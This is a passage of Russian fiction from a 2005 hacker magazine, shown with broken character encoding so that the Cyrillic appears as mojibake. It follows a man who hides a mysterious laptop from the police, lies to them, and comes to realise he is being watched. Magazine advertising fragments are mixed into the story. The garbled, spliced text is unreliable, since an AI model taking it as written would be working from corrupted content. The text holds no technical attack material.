ëà ex tempore. Ïðåäïîëàãàþ, ÷òî ìîãóò âîçíèêíóòü íåçíà÷è-
òåëüíûå îñëîæíåíèÿ, ñâÿçàííûå â îñíîâíîì ñ íåïðîôåññèî-
íàëèçìîì îáúåêòà.

Áåç ïîäïèñè".

*   **   **   **   **
Áðàéàí òåðïåëèâî æäàë, êîãäà æå êòî-íèáóäü â ôîðìå

îôèöåðà ïîëèöèè ÿâèòñÿ ê íåìó çà íîóòáóêîì. Îí âèäåë â îê-
íî, êàê äâîå ïîëèöåéñêèõ ñ ñîáàêîé ïðîøëè âîçëå åãî âåðàí-
äû, âíèìàòåëüíî èçó÷àÿ ñëåäû íà òðàâå. Îäèí èç íèõ äàë êà-
êóþ-òî êîìàíäó îâ÷àðêå, òà íàâîñòðèëà óøè, ïðèíþõàëàñü è
ðàçî÷àðîâàííî âçãëÿíóëà íà õîçÿèíà. Ïîõîæå, îíà áûëà íà
ïåðåïóòüå.

Íàïàðíèê ïîñìîòðåë íà îêíà äîìà, âîçëå êîòîðîãî îíè
ñòîÿëè. Áðàéàí ìàøèíàëüíî ñïðÿòàëñÿ çà çàíàâåñêó è êèíóë
âçãëÿä íà êîìïüþòåð, êîòîðûé ëåæàë íà ñòîëå. Æåíà, âûãëÿ-
íóâ èç ñïàëüíè, íåïîíèìàþùå ðàññìàòðèâàëà ìóæà è ïûòà-
ëàñü óâèäåòü, îò êîãî æå îí ïðÿ÷åòñÿ. 

- ×òî ñëó÷èëîñü, äîðîãîé? � íàêîíåö ñïðîñèëà îíà.
- Ïîêà íå çíàþ, - íå ïîâîðà÷èâàÿ ãîëîâû, îòâåòèë Áðàéàí.

� Íî ÷òî-òî î÷åíü íåïîíÿòíîå...
Òåì âðåìåíåì ïîëèöåéñêèå î ÷åì-òî ïîñîâåùàëèñü, è

îäèí èç íèõ, òîò, ÷òî áåç ñîáàêè, ïîäíÿëñÿ ïî ñòóïåíüêàì âå-
ðàíäû. Ñòóê â äâåðü çàñòàâèë Áðàéàíà âçäðîãíóòü; îí ïåðå-
ìèíàëñÿ ñ íîãè íà íîãó, íå ðåøàÿñü îòêðûòü.

Æåíà óäèâëåííî ñìîòðåëà íà ìóæà. Âïåðâûå â æèçíè îí
÷åãî-òî áîÿëñÿ è íå ñïåøèë îòêðûâàòü äâåðü. Ïîòîì îíà óâè-
äåëà "Ìàêèíòîø".

- ×òî ýòî? � êèâíóëà îíà â ñòîðîíó ñòîëà.
- Òèõî, - îòâåòèë Áðàéàí. � ß íè÷åãî íå ìîãó òåáå îáúÿñ-

íèòü, ïîòîìó ÷òî ñàì íè÷åãî íå ïîíèìàþ.
Íàêîíåö îí ðåøèëñÿ, ïîäîøåë ê äâåðè è îòêðûë åå åäâà

ëè íàïîëîâèíó.
- Èçâèíèòå, ìèñòåð, - ñïðîñèë ïîëèöåéñêèé, - âû ñëûøàëè

îêîëî ïîëó÷àñà íàçàä ñòðåëüáó?
- Êîíå÷íî, ñëûøàë, - êèâíóë Áðàéàí, íå ñîáèðàÿñü îòêðû-

âàòü äâåðü ïîøèðå. � ß êàê ðàç ïðèøåë ñ ðàáîòû, êîãäà âñå
ýòî íà÷àëîñü. À ÷òî ñëó÷èëîñü?

- Íè÷åãî îñîáåííîãî, òàê, ïóñòÿêè... À âû íå âèäåëè çäåñü
íèêîãî èëè íè÷åãî ïîäîçðèòåëüíîãî, çàïîìèíàþùåãîñÿ � ÷å-
ãî-òî, ÷åãî â ýòî âðåìÿ çäåñü áûòü íå äîëæíî?

Ïîëèöåéñêèé ñòàðàëñÿ çàãëÿíóòü âíóòðü äîìà, íî Áðàéàí
íå ïîçâîëÿë åìó ñäåëàòü ýòî.
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Ïîëèöåéñêèé ñòàðàëñÿ çàãëÿ-
íóòü âíóòðü äîìà, íî Áðàéàí

íå ïîçâîëÿë åìó ñäåëàòü ýòî.



- Íè÷åãî ÿ íå âèäåë, - îòðèöàòåëüíî ïîêà÷àë îí ãîëîâîé. �
Åäâà óñëûøàâ ñòðåëüáó, ÿ ñ äåòüìè óêðûëñÿ â êëàäîâîé. Ìà-
ëî ëè ÷òî, âäðóã â îêíî âëåòèò øàëüíàÿ ïóëÿ... Íî, çíàåòå,
ýòî ÷åðò çíàåò ÷òî, ñðåäè äíÿ â öåíòðå êâàðòàëà èäåò ïåðåñò-
ðåëêà, à ïîëèöåéñêèå ïîÿâëÿþòñÿ ëèøü ñïóñòÿ ïîë÷àñà!

Áðàéàí ïûòàëñÿ ñäåëàòü âîçìóùåííûé âèä, è, ïîõîæå, ó
íåãî ýòî ïîëó÷èëîñü. Îôèöåð èçâèíèëñÿ, êèíóë ïîñëåäíèé
âçãëÿä âíóòðü êîìíàòû ÷åðåç ïëå÷î Áðàéàíà, îòäàë ÷åñòü è
âåðíóëñÿ ê íàïàðíèêó. Ñîáàêà, òåðïåëèâî ñèäåâøàÿ íà òðàâå,
âñêî÷èëà è çàâèëÿëà õâîñòîì. Áðàéàí çàêðûë äâåðü è îãëÿ-
íóëñÿ íà æåíó.

Ëîðà ñòîÿëà â òîé æå ïîçå, ïðèêðûâ ðîò ðóêîé.
- Òû âñå-òàêè îáúÿñíè, ÷òî ïðîèñõîäèò, - ïðîèçíåñëà îíà

ñêâîçü ïàëüöû.
- Åñëè á ÿ çíàë... - ìàõíóë ðóêîé Áðàéàí è ïîäîøåë ê ñòî-

ëó. � Âñå äåëî â ýòîé ÷åðòîâîé øòóêå.
Îí ïîëîæèë ëàäîíü íà êðûøêó íîóòáóêà. Ìàøèíà áûëà

ñëåãêà òåïëîé. Ïîõîæå, òîò ÷åëîâåê äîâîëüíî äîëãî ïðèæè-
ìàë åå ê ñâîåìó æèâîòó.

- Âåëè÷àéøàÿ òàéíà Àìåðèêè, - ñêàçàë Áðàéàí, íå îáðàùà-
ÿñü íè ê êîìó. � ×òî áû ýòî ìîãëî áûòü?

Îí îïóñòèëñÿ íà ñòóë ðÿäîì è ïîëîæèë ãîëîâó íà ëàäîíè,
íå îòðûâàÿ âçãëÿäà îò íîóòáóêà. Ëîðà ïîäîøëà è ïîëîæèëà
ðóêè åìó íà ïëå÷è.

- ×òî ýòî áûëà çà ñòðåëüáà? � ñïðîñèëà îíà ìóæà, ìàññè-
ðóÿ åãî ïëå÷è. � Ìàëûøè ïåðåïóãàëèñü, ÿ ñïðÿòàëàñü ñ íèìè
â ïîäâàëå...

- Â êëàäîâîé, - ìàøèíàëüíî ïîïðàâèë åå Áðàéàí, ïîãëàæè-
âàÿ ïàëüöåì ÿáëî÷êî íà êðûøêå.

- Â ïîäâàëå, ìèëûé? Òû îøèáàåøüñÿ, - óäèâëåííî ïðèîñ-
òàíîâèëàñü Ëîðà íà ïàðó ñåêóíä, ïîñëå ÷åãî ïðîäîëæèëà
ðàçìèíàòü ìûøöû ìóæà. Áðàéàí âûñâîáîäèë ñâîþ øåþ èç
ñèëüíûõ ïàëüöåâ æåíû, âñòàë è, ïîâåðíóâøèñü ê íåé, ïî-
âòîðèë:

- Â êëàäîâîé. Ìû áûëè â êëàäîâîé âñå âìåñòå, â òîì ÷èñ-
ëå ÿ. Çàïîìíè ýòî ðàç è íàâñåãäà. È åñëè òåáÿ êòî-íèáóäü
ñïðîñèò, òû îòâåòèøü òî, ÷òî ÿ òåáå ñåé÷àñ ñêàçàë. Äåòè åùå
ñëèøêîì ìàëåíüêèå, ÷òîáû êòî-íèáóäü ïðèíèìàë èõ ñëîâà
âñåðüåç, òàê ÷òî... Çàïîìíèëà?

Ëîðà êèâíóëà è â íåäîóìåíèè îòñòóïèëà íà øàã. Áðàéàí
ñìîòðåë íà íåå êàêèì-òî ÷óæèì âçãëÿäîì, â êîòîðîì íå áûëî
íè ãðàììà ëþáâè è íåæíîñòè. Ïðàâäà, è íåíàâèñòüþ ýòî íàç-
âàòü áûëî íåëüçÿ: åãî âçãëÿä áûë ïðîñòî ïóñò. Îí âèäåë ïå-
ðåä ñîáîé æåíó, íî ÷óâñòâîâàëîñü, ÷òî íà åå ëèöå îí ðàçëè-
÷àåò ýìáëåìó "Ìàêà".

- Âîò è õîðîøî, - êèâíóë îí, íå ñëûøà îò æåíû â îòâåò íè
ñëîâà. - Ìû ñðàçó îáî âñåì äîãîâîðèëèñü. Òåïåðü âîò îá
ýòîì... - îí êèâíóë íà íîóòáóê. - Áóäåì ñ÷èòàòü, ÷òî ýòîé øòó-
êè ó íàñ â äîìå íåò. Âïîëíå âîçìîæíî, ÷òî îíà â ñêîðîì áó-
äóùåì êîìó-íèáóäü ïîíàäîáèòñÿ. (Îí âñïîìíèë òå âûñòðåëû,
îñîáåííî â êîíöå ïåðåñòðåëêè, êîãäà íà âñþ óëèöó áàõíóëî
ïîìïîâîå ðóæüå, è ðåøèë, ÷òî âðÿä ëè â áëèæàéøåå âðåìÿ
êîìó-íèáóäü áóäåò äåëî äî êîìïüþòåðà.) ß íå ñ÷èòàþ ñåáÿ
÷åëîâåêîì, êîòîðûé ïðèñâîèë ÷óæîå, íî... Íî ñåãîäíÿ ÿ âïåð-
âûå â æèçíè ñîëãàë ïîëèöåéñêîìó. Ïîýòîìó... Ïîýòîìó ïîêà
áåç êîììåíòàðèåâ.

Ëîðà ìàøèíàëüíî êèâíóëà â îòâåò íà åãî äëèííûé ìîíî-
ëîã, îãëÿíóëàñü êóäà-òî çà ñïèíó, ãäå êîïîøèëèñü ñ èãðóøêà-
ìè äåòè, è âäðóã çàïëàêàëà. Áðàéàí íàõìóðèëñÿ, ïîäîøåë
áëèæå, ïîëîæèë ðóêó åé íà ãîëîâó, ïðîâåë ëàäîíüþ ïî 
âîëîñàì.

- Íè÷åãî ñòðàøíîãî, - ïðîèçíåñ îí òàêèì òîíîì, ÷òî ñðàçó
ñòàëî ÿñíî: äåëà, â îáùåì-òî, ïëîõè. - Íå äóìàþ, ÷òî çà âñå
òî, ÷òî çäåñü ïðîèçîøëî, ìíå ïðèäåòñÿ îòâåòèòü. Íàäåþñü íà
ëó÷øåå.

Îí âåðíóëñÿ çà ñòîë, îòêðûë êðûøêó íîóòáóêà è âêëþ÷èë
åãî. Ñïóñòÿ ïîëìèíóòû îí óæå âèäåë ïåðåä ñîáîé ðàáî÷èé
ñòîë "Ìàêà" ñ óëîæåííîé íà íåì òèãðîâîé øêóðîé.

Çíà÷êîâ áûëî ìèíèìóì. Íåëüçÿ ñêàçàòü, ÷òî Áðàéàí áûë
õîðîøèì ïîëüçîâàòåëåì êîìïüþòåðà. Îí ðàáîòàë çà êîìïîì
íå÷àñòî, âðåìÿ îò âðåìåíè óñòðàèâàë íà íåì ïîäñ÷åòû âîç-
ìîæíîé ïðèáûëè è ïðîäàæ, èãðàë â ñòðàòåãèè...

Îí ïðîøåëñÿ ïàëüöåì ïî ñåíñîðíîé ïàíåëè, èìèòèðóþ-
ùåé ìûøü, îòìåòèë ïðî ñåáÿ íåóäîáñòâî, ñâÿçàííîå ñ òåì,
÷òî ïàëüöû äî ñèõ ïîð ìåëêî äðîæàò è ïîïàñòü êóäà-ëèáî
áûëî äîñòàòî÷íî ñëîæíîé çàäà÷åé. Âçãëÿíóâ íà ÷àñû, îí ñó-
íóë ðóêó â êàðìàí, íàøåë òàì íåñêîëüêî äîëëàðîâ è ïóëåé
âûáåæàë íà óëèöó, âñïîìíèâ, ÷òî íåïîäàëåêó â ñóïåðìàðêå-
òå åñòü êîìïüþòåðíûé îòäåë, êîòîðûé ðàáîòàåò äîïîçäíà.
Ñïóñòÿ äâàäöàòü ïÿòü ìèíóò îí óæå ïðîñìàòðèâàë ñîäåðæè-
ìîå êîìïüþòåðà, òàê çàãàäî÷íî ïîïàâøåãî â åãî â ðóêè, ñ ïî-
ìîùüþ óäîáíîãî ìàíèïóëÿòîðà.

È ÍÅ ÍÀØÅË ÒÀÌ ÍÈÊÀÊÎÉ ÒÀÉÍÛ.

*   **   **   **   **
"...ïðîâîäèìîå çà îáúåêòîì íàáëþäåíèå â íàñòîÿùèé ìî-

ìåíò äàåò îòðèöàòåëüíûå ðåçóëüòàòû; ìû íå ìîæåì îïðåäå-
ëèòü, íàñêîëüêî äàëåêî îáúåêò ïðîäâèíóëñÿ â èçó÷åíèè èíòå-
ðåñóþùåé íàñ èíôîðìàöèè...

...âûâîäû äåëàòü ïîêà ðàíî, îäíàêî âîçíèêàåò îùóùåíèå
áåññìûñëåííîñòè âûáîðà � è ýòî íåñìîòðÿ íà òî, ÷òî ïîäãîòî-
âèòåëüíûé ýòàï ïðîøåë áåç êàêèõ-ëèáî îñëîæíåíèé...

...åñòü ïðåäëîæåíèå àêòèâèçèðîâàòü îáúåêò... ïëàí àêòè-
âèçàöèè îòïðàâëÿåòñÿ ñëåäóþùèì ðàïîðòîì..."

*   **   **   **   **
Áðàéàí ïðîâåë çà íîóòáóêîì ïî÷òè âñþ íåäåëþ: âå÷åðàìè

îí ïðèõîäèë ñ ðàáîòû, êîòîðàÿ âñþ ýòó íåäåëþ øëà èç ðóê
âîí ïëîõî (ïî áîëüøîìó ñ÷åòó, Áðàéàí íå óäåëÿë åé äîëæíî-
ãî âíèìàíèÿ, ïîñêîëüêó âñå åãî ìûñëè áûëè çàíÿòû òîé èí-
ôîðìàöèåé, ÷òî îí ïðîñìîòðåë íà êîìïå çà ïðåäûäóùèé âå-
÷åð è ïîëíî÷è), ñàäèëñÿ çà "Ìàê" è ïðîïàäàë åäâà ëè íå äî
óòðà. Êîìïüþòåð áûë ïðîñòî íàïè÷êàí èíôîðìàöèåé ïîä çà-
âÿçêó. Èìåÿ íà áîðòó ïî÷òè äâóõñîòãèãàáàéòíûé æåñòêèé
äèñê, "Ìàêèíòîø" âìåùàë â ñåáÿ óéìó íåïîíÿòíîé èíôîðìà-
öèè, ðàñêëàññèôèöèðîâàííîé ïî êàêîìó-òî òðóäíî ïîñòèæè-
ìîìó ïðèíöèïó.

Â îñíîâíîì ýòî áûëè êàêèå-òî äîêóìåíòû, íàïîìèíàþùèå
îò÷åòû: ââåðõó ñòîÿëà íå÷èòàåìàÿ øàïêà, íàä êîòîðîé ïîñòî-
ÿííî âñïëûâàë çíà÷îê íåäîñòóïíîñòè (ïîíÿòü, êîìó àäðåñî-
âàíû ýòè äîêóìåíòû, áûëî íåâîçìîæíî). Ïîòîì øëà íåêàÿ
öèôðîâàÿ ÷àñòü, ÷òî-òî íàïîìèíàþùåå øèôðîâêè øïèîíîâ
èç ôèëüìîâ î Äæåéìñå Áîíäå � òóò ïîíÿòü óæå áûëî ïðîñòî
íåâîçìîæíî. Áûëî åäèíñòâåííîå, ÷òî ïðàêòè÷åñêè ñðàçó áðî-
ñàëîñü â ãëàçà, � äàòû, ñòîÿùèå â êîíöå äîêóìåíòîâ. Ïî÷òè
âñå îíè áûëè äàòèðîâàíû øåñòèäåñÿòûìè ãîäàìè. Ýòîãî
Áðàéàí íå ìîã ïîíÿòü: êîìïüþòåðîâ òîãäà íå áûëî, íåóæåëè
êîìó-òî áûëî íå ëåíü îöèôðîâûâàòü òàêóþ óéìó áóìàãè è
çàïèõèâàòü åå â íîóòáóê?

Ïðàâäà, âðåìåíàìè ïîïàäàëîñü è ÷òî-òî âïîëíå óäîáîâà-
ðèìîå, íî, ê ñîæàëåíèþ, ñîâåðøåííî áåñïîëåçíîå. Êàêèå-òî
ïîëèòè÷åñêèå äîêëàäû áûâøèõ ïðåçèäåíòîâ, êîòîðûå è òàê
ìîæíî áûëî ïðî÷èòàòü â ëþáîé ïóáëè÷íîé áèáëèîòåêå, ïî-
ðûâøèñü â ñòàðûõ ïîäøèâêàõ (åñëè íóæåí îðèãèíàë) èëè
ïðîñòî ïîøàðèâ â èíòåðíåòå.

- ×óøü êàêàÿ-òî, - áóð÷àë îí ñåáå ïîä íîñ, ëåíèâî êîâû-
ðÿÿñü âèëêîé â òàðåëêå ñ ìàêàðîíàìè (çàáîòëèâàÿ Ëîðà ïîä-
êàðìëèâàëà èñõóäàâøåãî ìóæà, óâëå÷åííîãî ñâîèìè èçûñêà-
íèÿìè, íî îí ïðàêòè÷åñêè íå çàìå÷àë ðÿäîì ñ ñîáîé ïðèñóò-
ñòâèÿ æåíû è äåòåé). � Êîìó âñå ýòî áûëî íàäî?

Îí âñïîìèíàë ðàíåíîãî ÷åëîâåêà, îñòàâèâøåãî åìó äîðî-
ãîé íîóòáóê. Ñòðåëüáà, ïîãîíÿ, êðîâü. Çà ÷òî ïîãèá ýòîò íåèç-
âåñòíûé? ×òî áûëî íóæíî òåì, êòî ïðåñëåäîâàë åãî? Âåäü
íåïîõîæå, ÷òî ïîëèöåéñêèå ñîáèðàëèñü áðàòü åãî æèâûì.
Îðóæèÿ ó ìóæ÷èíû ÿâíî íå áûëî. Ïðåäïîëàãàòü, ÷òî îí ìî-
æåò çàñòðåëèòü èõ èç "Ìàêèíòîøà", áûëî ïîëíîé íåëåïèöåé.
À ìîæåò, ýòî áûëè íå ïîëèöåéñêèå? Âäðóã îíè òîæå îêàçà-
ëèñü â ýòîì ìåñòå òîëüêî òîãäà, êîãäà óñëûøàëè âûñòðåëû?

ÕÀÊÅÐÑÏÅÖ   09(58)   2005
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Áûëî åäèíñòâåííîå, ÷òî
ïðàêòè÷åñêè ñðàçó áðîñàëîñü â
ãëàçà, � äàòû, ñòîÿùèå â êîíöå

äîêóìåíòîâ.
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SShhuuttttllee XXPP1177SSGG

$675.99

ÍÍààóóøøííèèêêèè
AAKKGG KK440066 AAFFCC 

$162.99

ÊÊîîëëîîííêêèè
MM-AAuuddiioo SSttuuddiioopphhiillee 
LLXX44 22..11 SSyysstteemm

$339.99

ØØëëååìì
ii-OO DDiissppllaayy SSyysstteemmss
ii-SSccaappee IIII

$289.99

ÊÊîîððóóññ
SShhuuttttllee SSBB8833GG55CC

$485.99

PPiinnnnaaccllee SSyysstteemmss
SShhoowwCCeenntteerr 11000000gg 

$285.99

* *

Èãðàé
ïðîñòî!

GamePost 
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ÈÑÏÎËÜÇÓß ÄÎÏÎËÍÈÒÅËÜÍÛÅ ÀÊÑÅÑÓÀÐÛ 
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- Êòî æå áûëè ýòè ëþäè? � âíåçàïíî ñïðîñèë ñàì ñåáÿ
Áðàéàí, ïîäíèìàÿ ãëàçà îò ýêðàíà. � Îò êîãî óáåãàë íåñ÷àñò-
íûé ñ ïóëåé â íîãå? È, ÷åðò ïîáåðè, ÷òî îí íåñ â ñâîåì ïðîê-
ëÿòîì íîóòáóêå?!

Áðàéàí óäàðèë êóëàêîì ïî ñòîëó, âñòàë, ïîäîøåë ê õîëî-
äèëüíèêó è, âçÿâ îòòóäà óïàêîâêó ïèâà, âûøåë íà âåðàíäó.

Âå÷åð áûë òåïëûì, õîëîäíîå ïèâî áûëî â ñàìûé ðàç. Îò-
êèíóâøèñü íà ñïèíêó êðåñëà-êà÷àëêè, îí öåäèë íàïèòîê èç
áàíêè, ðàçìûøëÿÿ î òîì, çàëîæíèêîì ÷åãî îêàçàëñÿ. Ïðèç-
ðàê íîóòáóêà ìàÿ÷èë ïåðåä åãî ãëàçàìè âñå âðåìÿ; îí îò÷åò-
ëèâî âèäåë ïåðåä ãëàçàìè ÷åëîâåêà, êîòîðûé ñòîÿë ïåðåä
íèì ðÿäîì ñ âåðàíäîé è øåïòàë: "Âåëè÷àéøàÿ òàéíà Àìåðè-
êè..." Ïîèñê îòâåòà ïîãëîòèë åãî. Îí ïðåâðàòèëñÿ â ðàáà, êî-
òîðîãî êîìïüþòåð ïîñòàâèë íà êîëåíè.

- Êðóãîì ïàðîëè, øèôðû... Âåäü íå áûâàåò æå òàê, ÷òîáû
íå áûëî îòâåòà, - ðàññóæäàë îí, ðàñêà÷èâàÿñü âïåðåä-íàçàä
è íå îòðûâàÿ âçãëÿäà îò ñïóòíèêîâîé àíòåííû íà êðûøå äîìà
íàïðîòèâ. � Êîíå÷íî, ó ìåíÿ ÿâíî íå õâàòàåò çíàíèé, íî íå
ôàêò, ÷òî ïîäîáíàÿ çàãàäêà ìíå íå ïî çóáàì. È íå òàêîå ëþ-
äè âçëàìûâàþò, à òóò � âñåãî ëèøü ïîíÿòü, ÷òî æå ñîäåðæèò-
ñÿ â òåëå ôàéëîâ, ÷òî çà øèôð òàêîé íåâåäîìûé...

Íåâäàëåêå ïîñëûøàëîñü øóðøàíèå øèí. Áðàéàí ìàøè-
íàëüíî ïðèãëÿäåëñÿ ê óëèöå � ê òîìó ìåñòó, ãäå îòâåòâëÿëñÿ
ïîâîðîò ê åãî äîìó. Òàì ïîêàçàëàñü ìåäëåííî ïîëçóùàÿ ìà-
øèíà, êàáðèîëåò, èç êîòîðîãî âûñóíóëñÿ ÷åëîâåê, ðàçãëÿäû-
âàÿ äîìà ïî îáå ñòîðîíû äîðîãè. Êòî-òî, íàâåðíîå, ïðèåõàë â
ãîñòè è èùåò ïàðêîâêó. Ïîõîæå, õîçÿåâà áåñòîëêîâî îïèñà-
ëè, êàê ïðîåõàòü íà âå÷åðèíêó. À ìîæåò, íà èõ óëèöå êòî-òî
ïðîäàåò äîì, õîòÿ Áðàéàí çíàë áû îá ýòîì íàâåðíÿêà.

- Êòî è ÷òî ìîæåò èñêàòü òóò? � ïðîèçíåñ îí è ñàì óäèâèë-
ñÿ ñâîåìó ëþáîïûòñòâó. Ðàíüøå îíî áûëî íå ïðèñóùå åìó, à
âîò òåïåðü, êîãäà îí ñòàë ñâèäåòåëåì òàèíñòâåííûõ ñîáûòèé,
ïîäîáíûé õîä ðàññóæäåíèé ïîðàçèë åãî. Àâòîìîáèëü íà ñå-
êóíäó ïðèòîðìîçèë ïðÿìî íàïðîòèâ âúåçäà ê äîìó Áðàéàíà,
âîäèòåëü êèíóë âçãëÿä íà ñèäÿùåãî íà âåðàíäå õîçÿèíà äî-
ìà, ïðèùóðèëñÿ, ñëîâíî ïëîõî âèäåë, ïîñëå ÷åãî âíåçàïíî
íàæàë íà ãàç, êîëåñà âçâèçãíóëè è êàáðèîëåò ñêðûëñÿ çà äå-
ðåâüÿìè.

Áðàéàí çàñòûë â êðåñëå. Åìó ïîêàçàëîñü, ÷òî âîäèòåëü
àâòîìîáèëÿ ðâàíóë ñ ìåñòà, áóäòî óæàëåííûé, ïî îäíîé
ïðîñòîé ïðè÷èíå: åìó î÷åíü íå ïîíðàâèëñÿ ÷åëîâåê, êîòîðûé
ïèë ïèâî âîçëå ñâîåãî äîìà. Ïîõîæå, ÷òî îí óçíàë Áðàéàíà
èëè ïðîñòî íå ñîáèðàëñÿ ïîïàäàòüñÿ íèêîìó íà ãëàçà. Âòîðîå
îáúÿñíåíèå áûëî, áåçóñëîâíî, ïðåäïî÷òèòåëüíåå, íî âîò ÷òî-
òî áûëî íå òàê. Áðàéàí è ñàì íå ïîíèìàë, ÷òî èìåííî.

- Êòî áû ýòî ìîã áûòü? � îí âñòàë ñ êðåñëà è ïîäîøåë ê
ïåðèëàì âåðàíäû. Ïîñòàâèâ ïèâî ðÿäîì ñ ñîáîé, îí ïðèíÿëñÿ
âñïîìèíàòü, ãäå ìîã âñòðå÷àòüñÿ ñ âîäèòåëåì. Êàê íàçëî, íà
óì íè÷åãî íå ïðèõîäèëî. Îí ïîìíèë î÷åíü ìíîãî "áåçëîøàä-
íûõ" êëèåíòîâ, êîòîðûå ïðèõîäèëè ê íåìó è óåçæàëè íà ìà-
øèíàõ, ïîäãîòîâëåííûõ ê ïðîäàæå åãî ñîáñòâåííûìè ðóêàìè.
Êàáðèîëåò ÿâíî íå èç åãî ìàãàçèíà, õîòÿ ìîäåëü áûëà äî-
âîëüíî ñòàðàÿ, êóïëåíà äàâíî è ñìåíèëà, âîçìîæíî, íå îäíî-
ãî õîçÿèíà.

- Õîðîøàÿ ìàøèíà, - ïîêà÷àë ãîëîâîé Áðàéàí. � Ïðîäàòü
òàêóþ íåòðóäíî... Åñòü ëþáèòåëè åçäèòü â îòêðûòûõ ìàøè-
íàõ, âîò òîëüêî ïî âîçðàñòó ÷åëîâåê çà ðóëåì íå ïîïàäàåò
ïîä ìîëîäåæü, ðàçúåçæàþùóþ ñ âåòåðêîì ïî ïðèãîðîäó.
Åìó ëåò ïÿòüäåñÿò, ìîæåò, ÷óòü ìåíüøå... Äà, òî÷íî, ìåíüøå.
Âçãëÿä êàêîé-òî ñòðàííûé: ùóðèòñÿ, íàêëîíÿåòñÿ...

È âäðóã îí âñïîìíèë. Âñïîìíèë ñîâåðøåííî îò÷åòëèâî,
êàê ýòîò ñàìûé ÷åëîâåê (íèêàêîé äðóãîé, à ýòîò ñàìûé!) âõî-
äèò â åãî ñàëîí, îáðàùàåò âíèìàíèå íà "Êàäèëëàê", îáõîäèò
àâòîìîáèëü ñî âñåõ ñòîðîí, ïðèêàñàÿñü ê ïîëèðîâàííîé ïî-
âåðõíîñòè äâåðåé è êàïîòà. È êîãäà Áðàéàí ïîäõîäèò ê íåìó,

÷òîáû ïðåäëîæèòü ñâîè óñëóãè è ðàññêàçàòü î òîì, êàêóþ ÷ó-
äåñíóþ ìàøèíó òîëüêî ÷òî âûáðàë ýòîò ìóæ÷èíà, òîò âíåçàï-
íî ïîäíèìàåò íà íåãî ãëàçà, ùóðèòñÿ, íàêëîíÿåòñÿ íåìíîãî
âïåðåä è ñïðàøèâàåò:

- À âû çà êîãî ãîëîñîâàëè?...
Ýòî áûë îäèí èç åãî ïîêóïàòåëåé � îäèí èç òåõ, êòî ïîñå-

òèë åãî â òîò äåíü, êîãäà åìó ïåðåäàëè íîóòáóê.
- Âîò òàê äåëà... - ïðîòÿíóë Áðàéàí. � È íåïîõîæå, ÷òî îí

îñòàëñÿ áåç ìàøèíû. Êóïèë. È êàê-òî ñòðàííî âûáðàë � íå ïî
âîçðàñòó è íå ïî ïîëîæåíèþ. Õîòÿ ÷òî ÿ çíàþ î åãî ïîëîæå-
íèè? Íå ñòîèò îá ýòîì ðàññóæäàòü... Íî âåäü íåñïðîñòà îí ïî-
ÿâèëñÿ â ýòîì êâàðòàëå, íåñïðîñòà îí, óâèäåâ ìåíÿ, òàê ðâà-
íóë îòñþäà, ñëîâíî ñî ìíîé íåëüçÿ áûëî âñòðå÷àòüñÿ íè ïîä
êàêèì âèäîì!

"Âû çà êîãî ãîëîñîâàëè?"
- Êàêàÿ ÷óøü, - ñêàçàë Áðàéàí ïîñëå ìèíóòû ðàçìûøëå-

íèé. � Âåäü ÿ òîëüêî ñåé÷àñ ïîíèìàþ, ÷òî îíè � âñå òðîå, ÷òî
ïðèøëè êî ìíå òîãäà � íå ñîáèðàëèñü íè÷åãî ïîêóïàòü. Îíè
ïðèõîäèëè êî ìíå � êî ìíå ËÈ×ÍÎ. ß áûë èíòåðåñåí èì êàê
÷åëîâåê, îíè çàäàâàëè ìíå êàêèå-òî âîïðîñû, âíèìàòåëüíî
âñëóøèâàëèñü â îòâåòû � èìåííî âíèìàòåëüíî, íèêàê èíà÷å,
ýòî ÿ ñåé÷àñ ïîíèìàþ! Çà êàêèì ÷åðòîì èì âñå ýòî áûëî 
íóæíî?

Îí âçÿë áàíêó, â êîòîðîé óæå ïðàêòè÷åñêè íå áûëî ïèâà,
ñäåëàë ïîñëåäíèé ãëîòîê è ñìÿë åå â êóëàêå.

- Èñòîðèÿ î÷åíü ïàðøèâàÿ, - ïðîãîâîðèë îí. � Âñå ìîæåò
ïëîõî êîí÷èòüñÿ.

Îí âçÿëñÿ çà ðó÷êó äâåðè è óæå áûë ãîòîâ îòêðûòü åå, êàê
âäðóã ðåçêî îáåðíóëñÿ è ïîñìîòðåë íà äîì íàïðîòèâ � íà òó
ñàìóþ êðûøó, ãäå ñòîÿëà ñïóòíèêîâàÿ àíòåííà.

Ýòîé òàðåëêè ïàðó äíåé íàçàä òàì åùå íå áûëî.
- Âîò òàê äåëà... - ïðèñâèñòíóë Áðàéàí. � Êàê-òî ñðàçó è íå

ñîîáðàçèë. Ïîõîæå, çäåñü âîêðóã ìåíÿ ñîáèðàåòñÿ íåêîå ïî-
äîáèå ïàó÷üåãî ãíåçäà. Ñìîòðÿò, ñëóøàþò, ïðîâåðÿþò, íàá-
ëþäàþò. Íîóòáóê � êëþ÷ êî âñåìó.

Îí ðåøèòåëüíî âçÿëñÿ çà ðó÷êó äâåðè è âîøåë âíóòðü äîìà.
ÁÐÀÉÀÍ ÍÅ ÇÍÀË, ×ÒÎ ÈÌÅÍÍÎ ÒÀÊ ÐÎÆÄÀÅÒÑß 

ÏÀÐÀÍÎÉß.

*   **   **   **   **
"Àêòèâèçàöèÿ ïðîèçâåäåíà óñïåøíî. Îáúåêò ïðîñòèìóëè-

ðîâàí. Ãðóïïà ñëåæåíèÿ è îáðàáîòêè èíôîðìàöèè îòìå÷àåò
ïåðâûå øàãè îáúåêòà, íàïðàâëåííûå íà ïðåîäîëåíèå êðèïòî-
áàðüåðà.

Ïðîøó ó÷åñòü: â íàñòîÿùèé ìîìåíò ÷åòêî íå îáîçíà÷åí
êðèòåðèé, îïðåäåëÿþùèé, íàñêîëüêî äàëåêî ïîçâîëåíî îáú-
åêòó ïðîäâèíóòüñÿ â èçó÷åíèè èíôîðìàöèè. Æäó ïîäðîáíûõ
èíñòðóêöèé. Ïðîäîëæàþ íàáëþäåíèå.

Äîïîëíèòåëüíîå îáîðóäîâàíèå óñòàíîâëåíî è ðàáîòàåò.
Ñëåäóþùèé ðàïîðò � ÷åðåç äâåíàäöàòü ÷àñîâ..."

*   **   **   **   **
Íàêîíåö-òî â ãîëîâó ïðèøëà çäðàâàÿ ìûñëü. Áðàéàí äàæå

ïîðóãàë ñåáÿ çà òî, ÷òî íå ñîîáðàçèë ñðàçó.
- Èíòåðíåò, ÷åðò ïîáåðè! � îí âñêî÷èë ñî ñòóëà è ïðîøåë-

ñÿ ïî êîìíàòå øèðîêèìè øàãàìè, íå çàìå÷àÿ âîêðóã íè÷åãî.
